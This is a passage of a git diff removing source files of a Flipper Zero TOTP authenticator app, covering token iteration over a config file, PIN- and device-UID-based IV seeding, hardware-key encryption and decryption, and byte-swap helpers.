totp_token_info_iterator_update_current_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context) { - TotpIteratorUpdateTokenResult result = update(context->current_token, update_context); - if(result == TotpIteratorUpdateTokenResultSuccess) { - if(!totp_token_info_iterator_save_current_token_info_changes(context)) { - result = TotpIteratorUpdateTokenResultFileUpdateFailed; - } - - return result; - } - - totp_token_info_iterator_go_to(context, context->current_index); - return result; -} - -TotpIteratorUpdateTokenResult totp_token_info_iterator_add_new_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context) { - size_t previous_index = context->current_index; - context->current_index = context->total_count; - token_info_set_defaults(context->current_token); - TotpIteratorUpdateTokenResult result = update(context->current_token, update_context); - if(result == TotpIteratorUpdateTokenResultSuccess && - !totp_token_info_iterator_save_current_token_info_changes(context)) { - result = TotpIteratorUpdateTokenResultFileUpdateFailed; - } - - if(result != TotpIteratorUpdateTokenResultSuccess) { - totp_token_info_iterator_go_to(context, previous_index); - } - - return result; -} - -bool totp_token_info_iterator_go_to(TokenInfoIteratorContext* context, size_t token_index) { - furi_check(context != NULL); - context->current_index = token_index; - if(!seek_to_token(context->current_index, context)) { - return false; - } - - Stream* stream = flipper_format_get_raw_stream(context->config_file); - size_t original_offset = stream_tell(stream); - - if(!flipper_format_read_string( - context->config_file, TOTP_CONFIG_KEY_TOKEN_NAME, context->current_token->name)) { - stream_seek(stream, original_offset, StreamOffsetFromStart); - return false; - } - - uint32_t secret_bytes_count; - if(!flipper_format_get_value_count( - context->config_file, TOTP_CONFIG_KEY_TOKEN_SECRET, &secret_bytes_count)) { - secret_bytes_count = 0; - } - TokenInfo* tokenInfo = context->current_token; - bool token_update_needed = false; - if(tokenInfo->token != NULL) { - free(tokenInfo->token); - tokenInfo->token_length = 0; - } - - if(secret_bytes_count == 1) { // Plain secret key - FuriString* temp_str = furi_string_alloc(); - - if(flipper_format_read_string( - context->config_file, TOTP_CONFIG_KEY_TOKEN_SECRET, temp_str)) { - if(token_info_set_secret( - tokenInfo, - furi_string_get_cstr(temp_str), - furi_string_size(temp_str), - PlainTokenSecretEncodingBase32, - context->crypto_settings)) { - FURI_LOG_W( - LOGGING_TAG, - "Token \"%s\" has plain secret", - furi_string_get_cstr(tokenInfo->name)); - token_update_needed = true; - } else { - tokenInfo->token = NULL; - tokenInfo->token_length = 0; - FURI_LOG_W( - LOGGING_TAG, - "Token \"%s\" has invalid secret", - furi_string_get_cstr(tokenInfo->name)); - } - } else { - tokenInfo->token = NULL; - tokenInfo->token_length = 0; - } - - furi_string_free(temp_str); - } else { // encrypted - tokenInfo->token_length = secret_bytes_count; - if(secret_bytes_count > 0) { - tokenInfo->token = malloc(tokenInfo->token_length); - furi_check(tokenInfo->token != NULL); - if(!flipper_format_read_hex( - context->config_file, - TOTP_CONFIG_KEY_TOKEN_SECRET, - tokenInfo->token, - tokenInfo->token_length)) { - free(tokenInfo->token); - tokenInfo->token = NULL; - tokenInfo->token_length = 0; - } - } else { - tokenInfo->token = NULL; - } - } - - uint32_t temp_data32; - if(!flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_ALGO, &temp_data32, 1) || - !token_info_set_algo_from_int(tokenInfo, temp_data32)) { - tokenInfo->algo = TokenHashAlgoDefault; - } - - if(!flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, &temp_data32, 1) || - !token_info_set_digits_from_int(tokenInfo, temp_data32)) { - tokenInfo->digits = TokenDigitsCountSix; - } - - if(!flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_DURATION, &temp_data32, 1) || - !token_info_set_duration_from_int(tokenInfo, temp_data32)) { - tokenInfo->duration = TokenDurationDefault; - } - - if(flipper_format_read_uint32( - context->config_file, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, &temp_data32, 1)) { - tokenInfo->automation_features = temp_data32; - } else { - tokenInfo->automation_features = TokenAutomationFeatureNone; - } - - stream_seek(stream, original_offset, StreamOffsetFromStart); - - if(token_update_needed && !totp_token_info_iterator_save_current_token_info_changes(context)) { - return false; - } - - return true; -} - -const TokenInfo* - totp_token_info_iterator_get_current_token(const TokenInfoIteratorContext* context) { - return context->current_token; -} - -size_t totp_token_info_iterator_get_current_token_index(const TokenInfoIteratorContext* context) { - return context->current_index; -} - -size_t totp_token_info_iterator_get_total_count(const TokenInfoIteratorContext* context) { - return context->total_count; -} - -void totp_token_info_iterator_attach_to_config_file( - TokenInfoIteratorContext* context, - FlipperFormat* config_file) { - context->config_file = config_file; -} \ No newline at end of file diff --git a/applications/external/totp/services/config/token_info_iterator.h b/applications/external/totp/services/config/token_info_iterator.h deleted file mode 100644 index ce4d8c72b..000000000 --- a/applications/external/totp/services/config/token_info_iterator.h +++ /dev/null @@ -1,123 +0,0 @@ -#pragma once - -#include "../../types/token_info.h" -#include -#include "constants.h" - -typedef int TotpIteratorUpdateTokenResult; - -typedef TotpIteratorUpdateTokenResult ( - *TOTP_ITERATOR_UPDATE_TOKEN_ACTION)(TokenInfo* const token_info, const void* context); - -typedef struct TokenInfoIteratorContext TokenInfoIteratorContext; - -enum TotpIteratorUpdateTokenResults { - - /** - * @brief Token successfully updated - */ - TotpIteratorUpdateTokenResultSuccess = 0, - - /** - * @brief An error ocurred during updating config file - */ - TotpIteratorUpdateTokenResultFileUpdateFailed = -1 -}; - -/** - * @brief Initializes a new token info iterator - * @param storage storage reference - * @param config_file config file to use - * @param crypto_settings crypto settings - * @return Token info iterator context - */ -TokenInfoIteratorContext* totp_token_info_iterator_alloc( - Storage* storage, - FlipperFormat* config_file, - CryptoSettings* crypto_settings); - -/** - * @brief Navigates iterator to the token with given index - * @param context token info iterator context - * @param token_index token index to navigate to - * @return \c true if navigation succeeded; \c false otherwise - */ -bool totp_token_info_iterator_go_to(TokenInfoIteratorContext* context, size_t token_index); - -/** - * @brief Moves current token to a given new index - * @param context token info iterator context - * @param new_index new token index to move current token to - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_token_info_iterator_move_current_token_info( - TokenInfoIteratorContext* context, - size_t new_index); - -/** - * @brief Updates current token info using given update action - * @param context token info iterator context - * @param update action which is responsible to make all the necessary updates to token info - * @param update_context update action context - * @return \c true if operation succeeded; \c false otherwise - */ -TotpIteratorUpdateTokenResult totp_token_info_iterator_update_current_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context); - -/** - * @brief Adds new token info to the end of the list using given update action - * @param context token info iterator context - * @param update action which is responsible to make all the necessary updates to token info - * @param update_context update action context - * @return \c true if operation succeeded; \c false otherwise - */ -TotpIteratorUpdateTokenResult totp_token_info_iterator_add_new_token( - TokenInfoIteratorContext* context, - TOTP_ITERATOR_UPDATE_TOKEN_ACTION update, - const void* update_context); - -/** - * @brief Remvoves current token info - * @param context token info iterator context - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_token_info_iterator_remove_current_token_info(TokenInfoIteratorContext* context); - -/** - * @brief Disposes token info iterator and releases all the resources - * @param context token info iterator context - */ -void totp_token_info_iterator_free(TokenInfoIteratorContext* context); - -/** - * @brief Gets current token info - * @param context token info iterator context - * @return current token info - */ -const TokenInfo* - totp_token_info_iterator_get_current_token(const TokenInfoIteratorContext* context); - -/** - * @brief Gets current token info index - * @param context token info iterator context - * @return current token info index - */ -size_t totp_token_info_iterator_get_current_token_index(const TokenInfoIteratorContext* context); - -/** - * @brief Gets total amount of token infos found - * @param context token info iterator context - * @return amount of token infos found - */ -size_t totp_token_info_iterator_get_total_count(const TokenInfoIteratorContext* context); - -/** - * @brief Attaches token info iterator to another config file - * @param context token info iterator context - * @param config_file config file reference to attach token info iterator to - */ -void totp_token_info_iterator_attach_to_config_file( - TokenInfoIteratorContext* context, - FlipperFormat* config_file); diff --git a/applications/external/totp/services/convert/convert.h b/applications/external/totp/services/convert/convert.h deleted file mode 100644 index 740d47ace..000000000 --- a/applications/external/totp/services/convert/convert.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once - -#define CONVERT_DIGIT_TO_CHAR(digit) ((digit) + '0') -#define CONVERT_CHAR_TO_DIGIT(ch) ((ch) - '0') diff --git a/applications/external/totp/services/crypto/common_types.h b/applications/external/totp/services/crypto/common_types.h deleted file mode 100644 index fb8e4c83c..000000000 --- a/applications/external/totp/services/crypto/common_types.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include - -typedef uint8_t CryptoSeedIVResult; - -enum CryptoSeedIVResults { - - /** - * @brief IV seeding operation failed - */ - CryptoSeedIVResultFailed = 0b00, - - /** - * @brief IV seeding operation succeeded - */ - CryptoSeedIVResultFlagSuccess = 0b01, - - /** - * @brief As a part of IV seeding operation new crypto verify data has been generated - */ - CryptoSeedIVResultFlagNewCryptoVerifyData = 0b10 -}; \ No newline at end of file diff --git a/applications/external/totp/services/crypto/constants.h b/applications/external/totp/services/crypto/constants.h deleted file mode 100644 index 294ae4361..000000000 --- a/applications/external/totp/services/crypto/constants.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#define CRYPTO_IV_LENGTH (16) - -// According to this explanation: https://github.com/flipperdevices/flipperzero-firmware/issues/2885#issuecomment-1646664666 -// disabling usage of any key which is "the same across all devices" -#define ACCEPTABLE_CRYPTO_KEY_SLOT_START (12) -#define ACCEPTABLE_CRYPTO_KEY_SLOT_END (100) - -#define DEFAULT_CRYPTO_KEY_SLOT ACCEPTABLE_CRYPTO_KEY_SLOT_START -#define CRYPTO_LATEST_VERSION (2) \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_facade.c b/applications/external/totp/services/crypto/crypto_facade.c deleted file mode 100644 index acbc09a4e..000000000 --- a/applications/external/totp/services/crypto/crypto_facade.c +++ /dev/null @@ -1,78 +0,0 @@ -#include "crypto_facade.h" -#include -#include -#include "crypto_v1.h" -#include "crypto_v2.h" -#include "constants.h" - -bool totp_crypto_check_key_slot(uint8_t key_slot) { - uint8_t empty_iv[CRYPTO_IV_LENGTH] = {0}; - if(key_slot < ACCEPTABLE_CRYPTO_KEY_SLOT_START || key_slot > ACCEPTABLE_CRYPTO_KEY_SLOT_END) { - return false; - } - - return furi_hal_crypto_verify_key(key_slot) && - furi_hal_crypto_store_load_key(key_slot, empty_iv) && - furi_hal_crypto_store_unload_key(key_slot); -} - -uint8_t* totp_crypto_encrypt( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length) { - if(crypto_settings->crypto_version == 1) { - return totp_crypto_encrypt_v1( - plain_data, plain_data_length, crypto_settings, encrypted_data_length); - } - - if(crypto_settings->crypto_version == 2) { - return totp_crypto_encrypt_v2( - plain_data, plain_data_length, crypto_settings, encrypted_data_length); - } - - furi_crash("Unsupported crypto version"); -} - -uint8_t* totp_crypto_decrypt( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length) { - if(crypto_settings->crypto_version == 1) { - return totp_crypto_decrypt_v1( - encrypted_data, encrypted_data_length, crypto_settings, decrypted_data_length); - } - - if(crypto_settings->crypto_version == 2) { - return totp_crypto_decrypt_v2( - encrypted_data, encrypted_data_length, crypto_settings, decrypted_data_length); - } - - furi_crash("Unsupported crypto version"); -} - -CryptoSeedIVResult - totp_crypto_seed_iv(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length) { - if(crypto_settings->crypto_version == 1) { - return totp_crypto_seed_iv_v1(crypto_settings, pin, pin_length); - } - - if(crypto_settings->crypto_version == 2) { - return totp_crypto_seed_iv_v2(crypto_settings, pin, pin_length); - } - - furi_crash("Unsupported crypto version"); -} - -bool totp_crypto_verify_key(const CryptoSettings* crypto_settings) { - if(crypto_settings->crypto_version == 1) { - return totp_crypto_verify_key_v1(crypto_settings); - } - - if(crypto_settings->crypto_version == 2) { - return totp_crypto_verify_key_v2(crypto_settings); - } - - furi_crash("Unsupported crypto version"); -} \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_facade.h b/applications/external/totp/services/crypto/crypto_facade.h deleted file mode 100644 index bbcbf7c00..000000000 --- a/applications/external/totp/services/crypto/crypto_facade.h +++ /dev/null @@ -1,59 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/crypto_settings.h" -#include "common_types.h" - -/** - * @brief Checks whether key slot can be used for encryption purposes - * @param key_slot key slot index - * @return \c true if key slot can be used for encryption; \c false otherwise - */ -bool totp_crypto_check_key_slot(uint8_t key_slot); - -/** - * @brief Encrypts plain data using built-in certificate and given initialization vector (IV) - * @param plain_data plain data to be encrypted - * @param plain_data_length plain data length - * @param crypto_settings crypto settings - * @param[out] encrypted_data_length encrypted data length - * @return Encrypted data - */ -uint8_t* totp_crypto_encrypt( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length); - -/** - * @brief Decrypts encrypted data using built-in certificate and given initialization vector (IV) - * @param encrypted_data encrypted data to be decrypted - * @param encrypted_data_length encrypted data length - * @param crypto_settings crypto settings - * @param[out] decrypted_data_length decrypted data length - * @return Decrypted data - */ -uint8_t* totp_crypto_decrypt( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length); - -/** - * @brief Seed initialization vector (IV) using user's PIN - * @param crypto_settings crypto settings - * @param pin user's PIN - * @param pin_length user's PIN length - * @return Results of seeding IV - */ -CryptoSeedIVResult - totp_crypto_seed_iv(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length); - -/** - * @brief Verifies whether cryptographic information (certificate + IV) is valid and can be used for encryption and decryption - * @param crypto_settings crypto settings - * @return \c true if cryptographic information is valid; \c false otherwise - */ -bool totp_crypto_verify_key(const CryptoSettings* crypto_settings); diff --git a/applications/external/totp/services/crypto/crypto_v1.c b/applications/external/totp/services/crypto/crypto_v1.c deleted file mode 100644 index d637599f5..000000000 --- a/applications/external/totp/services/crypto/crypto_v1.c +++ /dev/null @@ -1,142 +0,0 @@ -#include "crypto_v1.h" -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "memset_s.h" - -#define CRYPTO_KEY_SLOT (2) -#define CRYPTO_VERIFY_KEY_LENGTH (16) -#define CRYPTO_ALIGNMENT_FACTOR (16) -#define TOTP_IV_SIZE (16) - -static const char* CRYPTO_VERIFY_KEY = "FFF_Crypto_pass"; - -uint8_t* totp_crypto_encrypt_v1( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length) { - uint8_t* encrypted_data; - size_t remain = plain_data_length % CRYPTO_ALIGNMENT_FACTOR; - if(remain) { - size_t plain_data_aligned_length = plain_data_length - remain + CRYPTO_ALIGNMENT_FACTOR; - uint8_t* plain_data_aligned = malloc(plain_data_aligned_length); - furi_check(plain_data_aligned != NULL); - memset(plain_data_aligned, 0, plain_data_aligned_length); - memcpy(plain_data_aligned, plain_data, plain_data_length); - - encrypted_data = malloc(plain_data_aligned_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_aligned_length; - - furi_hal_crypto_store_load_key(CRYPTO_KEY_SLOT, crypto_settings->iv); - furi_hal_crypto_encrypt(plain_data_aligned, encrypted_data, plain_data_aligned_length); - furi_hal_crypto_store_unload_key(CRYPTO_KEY_SLOT); - - memset_s(plain_data_aligned, plain_data_aligned_length, 0, plain_data_aligned_length); - free(plain_data_aligned); - } else { - encrypted_data = malloc(plain_data_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_length; - - furi_hal_crypto_store_load_key(CRYPTO_KEY_SLOT, crypto_settings->iv); - furi_hal_crypto_encrypt(plain_data, encrypted_data, plain_data_length); - furi_hal_crypto_store_unload_key(CRYPTO_KEY_SLOT); - } - - return encrypted_data; -} - -uint8_t* totp_crypto_decrypt_v1( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length) { - *decrypted_data_length = encrypted_data_length; - uint8_t* decrypted_data = malloc(*decrypted_data_length); - furi_check(decrypted_data != NULL); - furi_hal_crypto_store_load_key(CRYPTO_KEY_SLOT, crypto_settings->iv); - furi_hal_crypto_decrypt(encrypted_data, decrypted_data, encrypted_data_length); - furi_hal_crypto_store_unload_key(CRYPTO_KEY_SLOT); - return decrypted_data; -} - -CryptoSeedIVResult totp_crypto_seed_iv_v1( - CryptoSettings* crypto_settings, - const uint8_t* pin, - uint8_t pin_length) { - CryptoSeedIVResult result; - if(crypto_settings->crypto_verify_data == NULL) { - FURI_LOG_I(LOGGING_TAG, "Generating new IV"); - furi_hal_random_fill_buf(&crypto_settings->base_iv[0], TOTP_IV_SIZE); - } - - memcpy(&crypto_settings->iv[0], &crypto_settings->base_iv[0], TOTP_IV_SIZE); - if(pin != NULL && pin_length > 0) { - uint8_t max_i; - if(pin_length > TOTP_IV_SIZE) { - max_i = TOTP_IV_SIZE; - } else { - max_i = pin_length; - } - - for(uint8_t i = 0; i < max_i; i++) { - crypto_settings->iv[i] = crypto_settings->iv[i] ^ (uint8_t)(pin[i] * (i + 1)); - } - } else { - uint8_t max_i; - size_t uid_size = furi_hal_version_uid_size(); - if(uid_size > TOTP_IV_SIZE) { - max_i = TOTP_IV_SIZE; - } else { - max_i = uid_size; - } - - const uint8_t* uid = (const uint8_t*)UID64_BASE; //-V566 - for(uint8_t i = 0; i < max_i; i++) { - crypto_settings->iv[i] = crypto_settings->iv[i] ^ uid[i]; - } - } - - result = CryptoSeedIVResultFlagSuccess; - if(crypto_settings->crypto_verify_data == NULL) { - FURI_LOG_I(LOGGING_TAG, "Generating crypto verify data"); - crypto_settings->crypto_verify_data = malloc(CRYPTO_VERIFY_KEY_LENGTH); - furi_check(crypto_settings->crypto_verify_data != NULL); - crypto_settings->crypto_verify_data_length = CRYPTO_VERIFY_KEY_LENGTH; - - crypto_settings->crypto_verify_data = totp_crypto_encrypt_v1( - (const uint8_t*)CRYPTO_VERIFY_KEY, - CRYPTO_VERIFY_KEY_LENGTH, - crypto_settings, - &crypto_settings->crypto_verify_data_length); - - crypto_settings->pin_required = pin != NULL && pin_length > 0; - - result |= CryptoSeedIVResultFlagNewCryptoVerifyData; - } - - return result; -} - -bool totp_crypto_verify_key_v1(const CryptoSettings* crypto_settings) { - size_t decrypted_key_length; - uint8_t* decrypted_key = totp_crypto_decrypt_v1( - crypto_settings->crypto_verify_data, - crypto_settings->crypto_verify_data_length, - crypto_settings, - &decrypted_key_length); - - bool key_valid = true; - for(uint8_t i = 0; i < CRYPTO_VERIFY_KEY_LENGTH && key_valid; i++) { - if(decrypted_key[i] != CRYPTO_VERIFY_KEY[i]) key_valid = false; - } - - free(decrypted_key); - - return key_valid; -} \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_v1.h b/applications/external/totp/services/crypto/crypto_v1.h deleted file mode 100644 index 80e850196..000000000 --- a/applications/external/totp/services/crypto/crypto_v1.h +++ /dev/null @@ -1,52 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/crypto_settings.h" -#include "common_types.h" - -/** - * @brief Encrypts plain data using built-in certificate and given initialization vector (IV) - * @param plain_data plain data to be encrypted - * @param plain_data_length plain data length - * @param crypto_settings crypto settings - * @param[out] encrypted_data_length encrypted data length - * @return Encrypted data - */ -uint8_t* totp_crypto_encrypt_v1( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length); - -/** - * @brief Decrypts encrypted data using built-in certificate and given initialization vector (IV) - * @param encrypted_data encrypted data to be decrypted - * @param encrypted_data_length encrypted data length - * @param crypto_settings crypto settings - * @param[out] decrypted_data_length decrypted data length - * @return Decrypted data - */ -uint8_t* totp_crypto_decrypt_v1( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length); - -/** - * @brief Seed initialization vector (IV) using user's PIN - * @param crypto_settings crypto settings - * @param pin user's PIN - * @param pin_length user's PIN length - * @return Results of seeding IV - */ -CryptoSeedIVResult - totp_crypto_seed_iv_v1(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length); - -/** - * @brief Verifies whether cryptographic information (certificate + IV) is valid and can be used for encryption and decryption - * @param crypto_settings crypto settings - * @return \c true if cryptographic information is valid; \c false otherwise - */ -bool totp_crypto_verify_key_v1(const CryptoSettings* crypto_settings); \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_v2.c b/applications/external/totp/services/crypto/crypto_v2.c deleted file mode 100644 index 897a7fd32..000000000 --- a/applications/external/totp/services/crypto/crypto_v2.c +++ /dev/null @@ -1,184 +0,0 @@ -#include "crypto_v2.h" -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "../hmac/hmac_sha512.h" -#include "memset_s.h" -#include "constants.h" - -#define CRYPTO_ALIGNMENT_FACTOR (16) - -static const uint8_t* get_device_uid() { - return (const uint8_t*)UID64_BASE; //-V566 -} - -static uint8_t get_device_uid_length() { - return furi_hal_version_uid_size(); -} - -static const uint8_t* get_crypto_verify_key() { - return get_device_uid(); -} - -static uint8_t get_crypto_verify_key_length() { - return get_device_uid_length(); -} - -uint8_t* totp_crypto_encrypt_v2( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length) { - uint8_t* encrypted_data; - size_t remain = plain_data_length % CRYPTO_ALIGNMENT_FACTOR; - if(remain) { - size_t plain_data_aligned_length = plain_data_length - remain + CRYPTO_ALIGNMENT_FACTOR; - uint8_t* plain_data_aligned = malloc(plain_data_aligned_length); - furi_check(plain_data_aligned != NULL); - memset(plain_data_aligned, 0, plain_data_aligned_length); - memcpy(plain_data_aligned, plain_data, plain_data_length); - - encrypted_data = malloc(plain_data_aligned_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_aligned_length; - - furi_check( - furi_hal_crypto_store_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Encryption failed: store_load_key"); - furi_check( - furi_hal_crypto_encrypt(plain_data_aligned, encrypted_data, plain_data_aligned_length), - "Encryption failed: encrypt"); - furi_check( - furi_hal_crypto_store_unload_key(crypto_settings->crypto_key_slot), - "Encryption failed: store_unload_key"); - - memset_s(plain_data_aligned, plain_data_aligned_length, 0, plain_data_aligned_length); - free(plain_data_aligned); - } else { - encrypted_data = malloc(plain_data_length); - furi_check(encrypted_data != NULL); - *encrypted_data_length = plain_data_length; - - furi_check( - furi_hal_crypto_store_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Encryption failed: store_load_key"); - furi_check( - furi_hal_crypto_encrypt(plain_data, encrypted_data, plain_data_length), - "Encryption failed: encrypt"); - furi_check( - furi_hal_crypto_store_unload_key(crypto_settings->crypto_key_slot), - "Encryption failed: store_unload_key"); - } - - return encrypted_data; -} - -uint8_t* totp_crypto_decrypt_v2( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length) { - *decrypted_data_length = encrypted_data_length; - uint8_t* decrypted_data = malloc(*decrypted_data_length); - furi_check(decrypted_data != NULL); - furi_check( - furi_hal_crypto_store_load_key(crypto_settings->crypto_key_slot, crypto_settings->iv), - "Decryption failed: store_load_key"); - furi_check( - furi_hal_crypto_decrypt(encrypted_data, decrypted_data, encrypted_data_length), - "Decryption failed: decrypt"); - furi_check( - furi_hal_crypto_store_unload_key(crypto_settings->crypto_key_slot), - "Decryption failed: store_unload_key"); - return decrypted_data; -} - -CryptoSeedIVResult totp_crypto_seed_iv_v2( - CryptoSettings* crypto_settings, - const uint8_t* pin, - uint8_t pin_length) { - CryptoSeedIVResult result; - if(crypto_settings->crypto_verify_data == NULL) { - FURI_LOG_I(LOGGING_TAG, "Generating new IV"); - furi_hal_random_fill_buf(&crypto_settings->base_iv[0], CRYPTO_IV_LENGTH); - } - - memcpy(&crypto_settings->iv[0], &crypto_settings->base_iv[0], CRYPTO_IV_LENGTH); - - const uint8_t* device_uid = get_device_uid(); - uint8_t device_uid_length = get_device_uid_length(); - - uint8_t hmac_key_length = device_uid_length; - if(pin != NULL && pin_length > 0) { - hmac_key_length += pin_length; - } - - uint8_t* hmac_key = malloc(hmac_key_length); - furi_check(hmac_key != NULL); - - memcpy(hmac_key, device_uid, device_uid_length); - - if(pin != NULL && pin_length > 0) { - memcpy(hmac_key + device_uid_length, pin, pin_length); - } - - uint8_t hmac[HMAC_SHA512_RESULT_SIZE] = {0}; - int hmac_result_code = hmac_sha512( - hmac_key, hmac_key_length, &crypto_settings->base_iv[0], CRYPTO_IV_LENGTH, &hmac[0]); - - memset_s(hmac_key, hmac_key_length, 0, hmac_key_length); - free(hmac_key); - - if(hmac_result_code == 0) { - uint8_t offset = - hmac[HMAC_SHA512_RESULT_SIZE - 1] % (HMAC_SHA512_RESULT_SIZE - CRYPTO_IV_LENGTH - 1); - memcpy(&crypto_settings->iv[0], &hmac[offset], CRYPTO_IV_LENGTH); - - result = CryptoSeedIVResultFlagSuccess; - if(crypto_settings->crypto_verify_data == NULL) { - const uint8_t* crypto_vkey = get_crypto_verify_key(); - uint8_t crypto_vkey_length = get_crypto_verify_key_length(); - FURI_LOG_I(LOGGING_TAG, "Generating crypto verify data"); - crypto_settings->crypto_verify_data = malloc(crypto_vkey_length); - furi_check(crypto_settings->crypto_verify_data != NULL); - crypto_settings->crypto_verify_data_length = crypto_vkey_length; - - crypto_settings->crypto_verify_data = totp_crypto_encrypt_v2( - crypto_vkey, - crypto_vkey_length, - crypto_settings, - &crypto_settings->crypto_verify_data_length); - - crypto_settings->pin_required = pin != NULL && pin_length > 0; - - result |= CryptoSeedIVResultFlagNewCryptoVerifyData; - } - } else { - result = CryptoSeedIVResultFailed; - } - - return result; -} - -bool totp_crypto_verify_key_v2(const CryptoSettings* crypto_settings) { - size_t decrypted_key_length; - uint8_t* decrypted_key = totp_crypto_decrypt_v2( - crypto_settings->crypto_verify_data, - crypto_settings->crypto_verify_data_length, - crypto_settings, - &decrypted_key_length); - - const uint8_t* crypto_vkey = get_crypto_verify_key(); - uint8_t crypto_vkey_length = get_crypto_verify_key_length(); - bool key_valid = true; - for(uint8_t i = 0; i < crypto_vkey_length && key_valid; i++) { - if(decrypted_key[i] != crypto_vkey[i]) key_valid = false; - } - - free(decrypted_key); - - return key_valid; -} \ No newline at end of file diff --git a/applications/external/totp/services/crypto/crypto_v2.h b/applications/external/totp/services/crypto/crypto_v2.h deleted file mode 100644 index 1395e7046..000000000 --- a/applications/external/totp/services/crypto/crypto_v2.h +++ /dev/null @@ -1,52 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/crypto_settings.h" -#include "common_types.h" - -/** - * @brief Encrypts plain data using built-in certificate and given initialization vector (IV) - * @param plain_data plain data to be encrypted - * @param plain_data_length plain data length - * @param crypto_settings crypto settings - * @param[out] encrypted_data_length encrypted data length - * @return Encrypted data - */ -uint8_t* totp_crypto_encrypt_v2( - const uint8_t* plain_data, - const size_t plain_data_length, - const CryptoSettings* crypto_settings, - size_t* encrypted_data_length); - -/** - * @brief Decrypts encrypted data using built-in certificate and given initialization vector (IV) - * @param encrypted_data encrypted data to be decrypted - * @param encrypted_data_length encrypted data length - * @param crypto_settings crypto settings - * @param[out] decrypted_data_length decrypted data length - * @return Decrypted data - */ -uint8_t* totp_crypto_decrypt_v2( - const uint8_t* encrypted_data, - const size_t encrypted_data_length, - const CryptoSettings* crypto_settings, - size_t* decrypted_data_length); - -/** - * @brief Seed initialization vector (IV) using user's PIN - * @param crypto_settings crypto settings - * @param pin user's PIN - * @param pin_length user's PIN length - * @return Results of seeding IV - */ -CryptoSeedIVResult - totp_crypto_seed_iv_v2(CryptoSettings* crypto_settings, const uint8_t* pin, uint8_t pin_length); - -/** - * @brief Verifies whether cryptographic information (certificate + IV) is valid and can be used for encryption and decryption - * @param crypto_settings crypto settings - * @return \c true if cryptographic information is valid; \c false otherwise - */ -bool totp_crypto_verify_key_v2(const CryptoSettings* crypto_settings); \ No newline at end of file diff --git a/applications/external/totp/services/hmac/byteswap.c b/applications/external/totp/services/hmac/byteswap.c deleted file mode 100644 index e922deec0..000000000 --- a/applications/external/totp/services/hmac/byteswap.c +++ /dev/null @@ -1,12 +0,0 @@ -#include "byteswap.h" - -uint32_t swap_uint32(uint32_t val) { - val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF); - return (val << 16) | (val >> 16); -} - -uint64_t swap_uint64(uint64_t val) { - val = ((val << 8) & 0xFF00FF00FF00FF00ULL) | ((val >> 8) & 0x00FF00FF00FF00FFULL); - val = ((val << 16) & 0xFFFF0000FFFF0000ULL) | ((val >> 16) & 0x0000FFFF0000FFFFULL); - return (val << 32) | (val >> 32); -} diff --git a/applications/external/totp/services/hmac/byteswap.h b/applications/external/totp/services/hmac/byteswap.h deleted file mode 100644 index 2e3f1743f..000000000 --- a/applications/external/totp/services/hmac/byteswap.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -#include - -/** - * @brief Swap bytes in 32-bit value - * @param val value to swap bytes in - * @return Value with bytes swapped - */ -uint32_t swap_uint32(uint32_t val); - -/** - * @brief Swap bytes in 64-bit value - * @param val value to swap bytes in - * @return Value with bytes swapped - */ -uint64_t swap_uint64(uint64_t val); diff --git a/applications/external/totp/services/hmac/hmac_common.h b/applications/external/totp/services/hmac/hmac_common.h deleted file mode 100644 index 3499cb800..000000000 --- a/applications/external/totp/services/hmac/hmac_common.h +++ /dev/null @@ -1,59 +0,0 @@ -#include -#include "memxor.h" - -#define IPAD 0x36 -#define OPAD 